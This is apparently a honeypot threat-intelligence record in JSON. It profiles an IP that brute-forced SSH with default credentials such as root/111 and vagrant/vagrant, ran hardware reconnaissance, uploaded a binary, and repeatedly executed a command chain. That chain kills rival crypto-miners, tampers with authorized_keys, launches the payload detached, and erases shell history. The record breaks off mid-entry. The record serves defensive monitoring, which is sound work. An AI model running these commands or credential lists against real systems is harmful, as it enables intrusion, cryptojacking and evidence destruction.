{"ip":"47.84.27.170","data_as_of":"2026-10-26T22:47:26+00:00","observed":true,"total_events":1,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"56 interactive session(s) ran commands after logging in","confidence":"high","network_type":"CDN","why":["56 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 1 event(s) from this address as well.","Not in any known-scanner range.","Sent 23,520 bytes, which is sustained payload delivery.","Held a session open for 1304s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"23,520 bytes sent, longest session 1304s","bytes_sent":23520,"session_seconds":1304,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-20T19:35:40","last_seen":"2026-10-20T20:31:15","events_24h":0,"events_7d":1,"interactive_sessions":83,"interactive_sessions_24h":0,"interactive_sessions_7d":83,"interactive_protocols":[{"protocol":"ssh","sessions":83}],"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"","lat":1.3667,"lon":103.8,"asn":45102,"org":"Alibaba (US) Technology Co., Ltd."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as45102","label":"Alibaba","category":"cdn","url":"https://www.peeringdb.com/asn/45102"},"cve_matches":[],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":83,"first_seen":"2026-10-20T19:35:41","last_seen":"2026-10-20T20:31:15","verdicts":[{"verdict":"post-exploitation","sessions":56},{"verdict":"unknown","sessions":25},{"verdict":"credential","sessions":2}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":83}],"services":[{"protocol":"ssh","port":22,"sessions":83}],"logins":[{"username":"wso2","password":"wso2","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T20:11:58"},{"username":"kingbase","password":"kingbase","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T20:10:07"},{"username":"gpadmin","password":"gpadmin","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:56:12"},{"username":"centos","password":"123456","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:49:55"},{"username":"debian","password":"123456789","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:48:55"},{"username":"esearch","password":"esearch","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:47:00"},{"username":"deploy","password":"123","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:46:47"},{"username":"default","password":"default","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:46:47"},{"username":"root","password":"111","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:46:46"},{"username":"user10","password":"user10","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:44:32"},{"username":"tactical","password":"tactical","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:44:30"},{"username":"tester","password":"tester","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-20T19:44:30"},{"username":"vagrant","password":"vagrant","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:26:23"},{"username":"docker","password":"docker","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:19:25"},{"username":"rancher","password":"rancher","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:14:47"},{"username":"runner","password":"runner","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:13:45"},{"username":"vyos","password":"vyos","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:12:07"},{"username":"steam","password":"123456","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:12:05"},{"username":"ubuntu","password":"123456789","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:10:57"},{"username":"test2","password":"test2","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:10:48"},{"username":"demo","password":"demo","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:10:41"},{"username":"student","password":"student","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:10:15"},{"username":"grid","password":"grid","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:07:59"},{"username":"opc","password":"opc","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:06:32"},{"username":"oracle","password":"password","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-20T20:05:58"}],"commands":[{"ts":"2026-10-20T20:29:05","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 JwoDWTcg ; ./JwoDWTcg </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","exit_code":0},{"ts":"2026-10-20T20:23:26","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 cEbxChyI ; ./cEbxChyI </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","exit_code":0},{"ts":"2026-10-20T20:12:29","session_id":"89a753ab-1530-4ab0-83ef-522fd40453a4","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"scp -qt \"/var/tmp/cEbxChyI\"","exit_code":1},{"ts":"2026-10-20T20:11:51","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":0},{"ts":"2026-10-20T20:11:49","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-20T20:11:48","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T20:11:48","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T20:11:47","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T20:11:46","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-20T20:11:45","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":0},{"ts":"2026-10-20T20:11:44","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-20T20:11:41","session_id":"fc7bcf49-1206-443e-9e12-d9745dc335a0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-20T20:10:46","session_id":"fd5fdf0d-2cba-4714-82e5-6ab553fc90c8","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"scp -qt \"/var/tmp/JwoDWTcg\"","exit_code":1},{"ts":"2026-10-20T20:09:59","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":0},{"ts":"2026-10-20T20:09:57","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-20T20:09:50","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T20:09:41","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T20:09:40","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T20:09:39","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-20T20:09:37","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":0},{"ts":"2026-10-20T20:09:37","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-20T20:09:36","session_id":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-20T20:07:30","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 KrdCVIRs ; ./KrdCVIRs </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","exit_code":0},{"ts":"2026-10-20T20:01:13","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 BDUDGuPm ; ./BDUDGuPm </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","exit_code":0},{"ts":"2026-10-20T20:01:05","session_id":"d50f3533-cb39-4b11-8763-a9417982a7f7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 OoaxChlc ; ./OoaxChlc </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","exit_code":0},{"ts":"2026-10-20T19:56:48","session_id":"140ae644-19b5-4e71-9325-dc3ab86622d9","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"scp -qt \"/var/tmp/KrdCVIRs\"","exit_code":1},{"ts":"2026-10-20T19:56:08","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":0},{"ts":"2026-10-20T19:56:07","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-20T19:56:04","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T19:56:02","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T19:56:02","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T19:56:01","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-20T19:56:00","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":0},{"ts":"2026-10-20T19:55:59","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-20T19:55:58","session_id":"4b8a7e38-42e1-44d8-9c0d-af9152d6c7fb","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-20T19:50:31","session_id":"aeb5dedd-8543-4b69-9596-63b88f0c5a4d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"scp -qt \"/var/tmp/BDUDGuPm\"","exit_code":1},{"ts":"2026-10-20T19:50:07","session_id":"ecb35d70-2864-4f69-9f36-8cc0a7649a3d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"scp -qt \"/var/tmp/OoaxChlc\"","exit_code":1},{"ts":"2026-10-20T19:49:47","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":0},{"ts":"2026-10-20T19:49:45","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-20T19:49:44","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T19:49:42","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T19:49:41","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T19:49:38","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-20T19:49:38","session_id":"95673b04-c566-48bd-b018-9bd1b1ca1313","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":0},{"ts":"2026-10-20T19:49:37","session_id":"95673b04-c566-48bd-b018-9bd1b1ca1313","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-20T19:49:37","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":0},{"ts":"2026-10-20T19:49:35","session_id":"95673b04-c566-48bd-b018-9bd1b1ca1313","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-20T19:49:35","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-20T19:49:33","session_id":"4279a240-0ad8-4eb3-a30e-f75bc4504bec","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-20T19:49:33","session_id":"95673b04-c566-48bd-b018-9bd1b1ca1313","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0}],"downloads":[],"files":[{"sha256":"8473c467adc6d8e79d960df430c3425012ce32b20c6d8ca0116a702790739556","name":"evxfwEoI.partial","size":26851064,"mime_type":"application/x-executable","kind":"sample","times":7,"first_seen":"2026-10-20T19:44:37","last_seen":"2026-10-20T19:47:12","virustotal":{"sha256":"8473c467adc6d8e79d960df430c3425012ce32b20c6d8ca0116a702790739556","status":"known","malicious":16,"total":75,"name":"CsLgnmyM.quarantine"}}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":56},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":44},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":58}]},"top_ports":[{"port":22,"proto":"tcp","label":"SSH","count":1,"sessions":83}],"fingerprints":{"ssh_hassh":["e54ef3ec27fe1fea7ab64d3fa05359fd","0a07365cc01fa9fc82608ba4019af499"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":["0a07365cc01fa9fc82608ba4019af499","e54ef3ec27fe1fea7ab64d3fa05359fd"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"e54ef3ec27fe1fea7ab64d3fa05359fd":638,"0a07365cc01fa9fc82608ba4019af499":12},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-20","count":1,"sessions":83}],"recent_events":[{"timestamp":"2026-10-20T20:29:05","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 JwoDWTcg ; ./JwoDWTcg </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","payload_hex":"63726f6e746162202d72203b20636861747472202d696165207e2f2e7373682f617574686f72697a65645f6b657973203e2f6465762f6e756c6c20323e2631203b206364202f7661722f746d70203b20726d202d7266202f6465762f73686d2f2e78202f6465762f73686d2f726574652a202f7661722f746d702f7061796c6f6164202f746d702f2e646969636f74202f746d702f6b75616b203b20636861747472202d696165202f7661722f746d702f446f63756d656e74732f2e646969636f74203b20636861747472202d696165202f7661722f746d702f2e7570646174652d6c6f67732f486973746f7279203b20636861747472202d696165202f7661722f746d702f2e7570646174652d6c6f67732f557064617465203b20726d202d7266202f7661722f746d702f2e7570646174652d6c6f6773202f7661722f746d702f446f63756d656e7473203b206d6b646972202f7661722f746d702f446f63756d656e7473203e202f6465762f6e756c6c20323e2631203b206364202f7661722f746d702f203b20706b696c6c204f70657261203b20726d202d7266202f7661722f746d702f446f63756d656e7473202f7661722f746d702f2e7570646174652d6c6f6773203b20726d202d726620786d72696720202e646969636f74202e626c61636b204f70657261203b20726d202d7266202e626c61636b20786d7269672e31203b20706b696c6c20636e726967203b20706b696c6c206a617661203b206b696c6c616c6c206a617661203b2020706b696c6c20786d726967203b206b696c6c616c6c20636e726967203b206b696c6c616c6c20786d726967203b6364202f7661722f746d702f203b2063686d6f6420373737204a776f4457546367203b202e2f4a776f4457546367203c2f6465762f6e756c6c20263e2f6465762f6e756c6c2026206469736f776e203b20686973746f7279202d63203b20726d202d7266202e626173685f686973746f7279207e2f2e626173685f686973746f7279","method":"","user_agent":"","ja3":"","session":"2e9941a5-5dc3-4477-a08a-ace8fefe88b5-19","seq":19,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"527ab010ca27cb4d","strings":["crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; …"],"iocs":{"paths":["/.ssh/authorized_keys","/dev/null","/var/tmp"]}},"interactive":true},{"timestamp":"2026-10-20T20:23:26","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 cEbxChyI ; ./cEbxChyI </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","payload_hex":"63726f6e746162202d72203b20636861747472202d696165207e2f2e7373682f617574686f72697a65645f6b657973203e2f6465762f6e756c6c20323e2631203b206364202f7661722f746d70203b20726d202d7266202f6465762f73686d2f2e78202f6465762f73686d2f726574652a202f7661722f746d702f7061796c6f6164202f746d702f2e646969636f74202f746d702f6b75616b203b20636861747472202d696165202f7661722f746d702f446f63756d656e74732f2e646969636f74203b20636861747472202d696165202f7661722f746d702f2e7570646174652d6c6f67732f486973746f7279203b20636861747472202d696165202f7661722f746d702f2e7570646174652d6c6f67732f557064617465203b20726d202d7266202f7661722f746d702f2e7570646174652d6c6f6773202f7661722f746d702f446f63756d656e7473203b206d6b646972202f7661722f746d702f446f63756d656e7473203e202f6465762f6e756c6c20323e2631203b206364202f7661722f746d702f203b20706b696c6c204f70657261203b20726d202d7266202f7661722f746d702f446f63756d656e7473202f7661722f746d702f2e7570646174652d6c6f6773203b20726d202d726620786d72696720202e646969636f74202e626c61636b204f70657261203b20726d202d7266202e626c61636b20786d7269672e31203b20706b696c6c20636e726967203b20706b696c6c206a617661203b206b696c6c616c6c206a617661203b2020706b696c6c20786d726967203b206b696c6c616c6c20636e726967203b206b696c6c616c6c20786d726967203b6364202f7661722f746d702f203b2063686d6f6420373737206345627843687949203b202e2f6345627843687949203c2f6465762f6e756c6c20263e2f6465762f6e756c6c2026206469736f776e203b20686973746f7279202d63203b20726d202d7266202e626173685f686973746f7279207e2f2e626173685f686973746f7279","method":"","user_agent":"","ja3":"","session":"fc7bcf49-1206-443e-9e12-d9745dc335a0-19","seq":19,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"14e1bad9082a0c6f","strings":["crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; …"],"iocs":{"paths":["/.ssh/authorized_keys","/dev/null","/var/tmp"]}},"interactive":true},{"timestamp":"2026-10-20T20:12:29","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"C0755 26851064 cEbxChyI","payload_hex":"4330373535203236383531303634206345627843687949","method":"","user_agent":"","ja3":"","session":"89a753ab-1530-4ab0-83ef-522fd40453a4-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"f80f653bab532dfa","strings":["C0755 26851064 cEbxChyI"]},"interactive":true},{"timestamp":"2026-10-20T20:12:29","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"scp -qt \"/var/tmp/cEbxChyI\"","payload_hex":"736370202d717420222f7661722f746d702f634562784368794922","method":"","user_agent":"","ja3":"","session":"89a753ab-1530-4ab0-83ef-522fd40453a4-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9e760bf3f10dd233","strings":["scp -qt \"/var/tmp/cEbxChyI\""],"iocs":{"paths":["/var/tmp/cEbxChyI"]}},"interactive":true},{"timestamp":"2026-10-20T20:11:51","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"nvidia-smi -q | grep \"Product Name\"","payload_hex":"6e76696469612d736d69202d71207c2067726570202250726f64756374204e616d6522","method":"","user_agent":"","ja3":"","session":"fc7bcf49-1206-443e-9e12-d9745dc335a0-17","seq":17,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b1919aee34eba609","strings":["nvidia-smi -q | grep \"Product Name\""]},"interactive":true},{"timestamp":"2026-10-20T20:11:49","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 